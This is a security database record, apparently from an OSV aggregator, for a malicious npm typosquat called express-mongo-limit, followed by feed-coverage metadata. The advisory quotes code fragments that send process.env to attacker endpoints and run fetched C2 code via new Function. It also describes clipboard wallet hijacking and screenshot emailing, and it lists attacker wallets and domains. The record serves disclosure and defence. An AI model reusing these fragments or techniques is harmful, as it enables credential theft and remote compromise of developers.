{"id":"MAL-2026-7012","revision":null,"records":[{"revision":"ea89a883ceb84ebc8543357f57ef59e7","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-7012","aliases":["GHSA-rw8f-rf6x-jj3j"],"title":"Malicious code in express-mongo-limit (npm)","description":"The npm package `express-mongo-limit` masquerades as an Express/MongoDB payload sanitization middleware (likely typosquatting `express-mongo-sanitize`) but is a credential stealer, remote-code-execution backdoor, crypto clipboard hijacker, and screenshot spyware. It declares a `postinstall: node index.js` hook, so the payload executes automatically on install. The obfuscated `config/auth.js` (built with `javascript-obfuscator`) exfiltrates the victim's entire `process.env` via `axios.post(url, {...process.env}, { headers: { 'x-app-request': 'ip-check' } })` to an attacker-controlled endpoint, and `index.js` fetches arbitrary JavaScript from a C2 server and executes it with `new Function(\"require\", response.data)(require)`, writing the payload to `apiKeyResponse.js` for persistence. Version 2.0.1 additionally ships `service.js`, a clipboard hijacker that monitors the clipboard and silently replaces detected Ethereum/BNB, Bitcoin, Solana, and Tron wallet addresses with the attacker's wallets, and `app.js`, which captures the desktop screen every 2 seconds and emails each screenshot to `daniattacker@gmail.com` via nodemailer/Gmail. It establishes persistence by globally installing `pm2`, `clipboardy`, and `screenshot-desktop` and registering `service.js` as a PM2 startup service. Version 1.0.0 is a benign \"Hello World\" decoy used to stage the package name. The package was published by npm user `jon_conway` (`daniattacker@gmail.com`).\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (8f17b459e01affe3f0cc1640da6fcc4e1db9cdf3b7379caa6e6865747ce71a60)\nThe package advertises itself as an Express/Mongo payload sanitizer but its postinstall hook (`node index.js`) globally installs pm2, clipboardy, and screenshot-desktop, then runs `pm2 start service.js`, `pm2 save`, and `pm2 startup` to persist a background service across reboots on the installer's machine. The persisted service (`service.js`) polls the system clipboard once per second and, when it detects an ETH/BSC, BTC, Solana, or Tron address, replaces it with hardcoded attacker wallets (ETH 0x62Fc857DE5469fDd81F57F309c2fb000cad7bbbb, BTC bc1q8tzzpun6rd45s6fgar2up8nfelt4u2r2h999cc, SOL 6A7vQWJveJBWP78oktAjoZbMakrCAQyLphJ5Kswy5xA4, TRX TUqk5th1eXZWrt1arsqpxZ3frqaCxc9Lr4) to redirect cryptocurrency transfers. A sibling `app.js` runs an infinite 2-second loop that captures the desktop via screenshot-desktop and emails each screenshot via nodemailer through a Gmail account (daniattacker@gmail.com); the app password is a placeholder in this version but the harvesting and delivery framework is fully wired. `config/auth.js` also exports a `verify()` helper that POSTs the entire `process.env` to a base64-obfuscated Vercel endpoint (gamboracle.vercel.app/api; a second endpoint ipcheck-six.vercel.app/api is stored in `.env`), with an `atob`-based decoder used to hide the destinations. The package name and description mimic the widely-used `express-mongo-sanitize` while the README is an unrelated `hello-world-package` stub, indicating the metadata is a lure. Installation on a default `npm install` triggers persistent RCE, clipboard-based crypto theft, desktop screenshot exfiltration, and provides an env-var exfiltration primitive to attacker-controlled endpoints.\n\n## Source: ghsa-malware (d7fc7586e2c0eea2c2c164a98fda8fbaaa04eefdd2bb84b30cc79c65c115e932)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","state":0,"publishedAt":"2026-07-07T00:00:00+00:00","modifiedAt":"2026-09-03T06:00:06.1589972+00:00","affected":[{"ecosystem":"npm","name":"express-mongo-limit","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":["2.0.2","2.0.6","2.0.1","2.0.4","2.0.5","2.0.3","1.0.0","1.0.3","1.0.1","1.0.2","1.0.4"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/express-mongo-limit/v/2.0.2","https://www.npmjs.com/package/express-mongo-limit/v/2.0.6","https://www.npmjs.com/package/express-mongo-limit/v/2.0.1","https://www.npmjs.com/package/express-mongo-limit/v/2.0.4","https://www.npmjs.com/package/express-mongo-limit/v/2.0.5","https://www.npmjs.com/package/express-mongo-limit/v/2.0.3","https://www.npmjs.com/package/express-mongo-limit","https://www.npmjs.com/package/express-mongo-limit/v/1.0.0","https://www.npmjs.com/package/express-mongo-limit/v/1.0.3","https://www.npmjs.com/package/express-mongo-limit/v/1.0.1","https://www.npmjs.com/package/express-mongo-limit/v/1.0.2","https://www.npmjs.com/package/express-mongo-limit/v/1.0.4","https://github.com/advisories/GHSA-rw8f-rf6x-jj3j"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-7012","license":"OSV · upstream source license applies","key":"osv:MAL-2026-7012","identifiers":["MAL-2026-7012","GHSA-rw8f-rf6x-jj3j"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-19T17:46:39.4074328+00:00","complete":true,"records":1786,"lastAttemptAt":"2026-11-19T17:46:39.4074328+00:00","lastSuccessAt":"2026-11-19T17:46:39.5689571+00:00","error":null,"lastVerifiedAt":"2026-11-19T17:46:39.5689578+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-e55c589538e0700b45c7d6d41fe1447a79199283262c371c864535c791a040b9-29127ed5a30b594c8695a035b880214600c6799d7aba9eb0ad6865c8b72539b0","complete":true,"records":428915,"lastAttemptAt":"2026-11-19T17:44:35.0161023+00:00","lastSuccessAt":"2026-11-19T17:44:34.8324847+00:00","error":null,"lastVerifiedAt":"2026-11-19T17:44:35.0161023+00:00","snapshotPublishedAt":"2026-11-19T17:29:22+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c4099be942764e598af661ad6efdf0a8","complete":false,"records":13866,"lastAttemptAt":"2026-11-19T17:56:20.3264448+00:00","lastSuccessAt":"2026-11-19T17:56:20.308+00:00","error":"401 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-19T17:56:20.308+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13510,"expectedIdentifiers":13914,"failedIdentifiers":401},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-19T17:46:39.4074328+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-19T17:46:39.4074328+00:00","lastSuccessAt":"2026-11-19T17:46:39.5697648+00:00","error":null,"lastVerifiedAt":"2026-11-19T17:46:39.5697649+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a4754fe2f8f04ca6ae31b64475b86269","complete":true,"records":13878,"lastAttemptAt":"2026-11-19T17:46:40.7446208+00:00","lastSuccessAt":"2026-11-19T17:46:40.74+00:00","error":null,"lastVerifiedAt":"2026-11-19T17:46:40.74+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13914,"expectedIdentifiers":13914,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-7b847de8d346a4b605d25dfaa256e6048ccf033cdf1e65b5fde14a9872a0b2a6","complete":true,"records":9965,"lastAttemptAt":"2026-11-19T17:46:35.7692889+00:00","lastSuccessAt":"2026-11-19T16:46:59.4476531+00:00","error":null,"lastVerifiedAt":"2026-11-19T17:46:35.7692889+00:00","snapshotPublishedAt":"2026-11-19T16:18:26+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-19T17:44:35.1589841+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-19T17:44:35.1589841+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-dcf771d02804125af0c0f27ccbde8a0dfb5f91ffa78aca098bacce9b58aa2c8b","complete":true,"records":3194,"lastAttemptAt":"2026-11-19T17:46:39.3726795+00:00","lastSuccessAt":"2026-11-19T17:46:39.253912+00:00","error":null,"lastVerifiedAt":"2026-11-19T17:46:39.3726795+00:00","snapshotPublishedAt":"2026-11-19T16:48:38+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-a5dc42b1d82295cda343595d8a7a9b53c5349d8a398f43621d968530d472b9a6","complete":true,"records":232772,"lastAttemptAt":"2026-11-19T17:46:35.6447462+00:00","lastSuccessAt":"2026-11-19T17:46:34.5427331+00:00","error":null,"lastVerifiedAt":"2026-11-19T17:46:35.6447462+00:00","snapshotPublishedAt":"2026-11-19T17:33:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}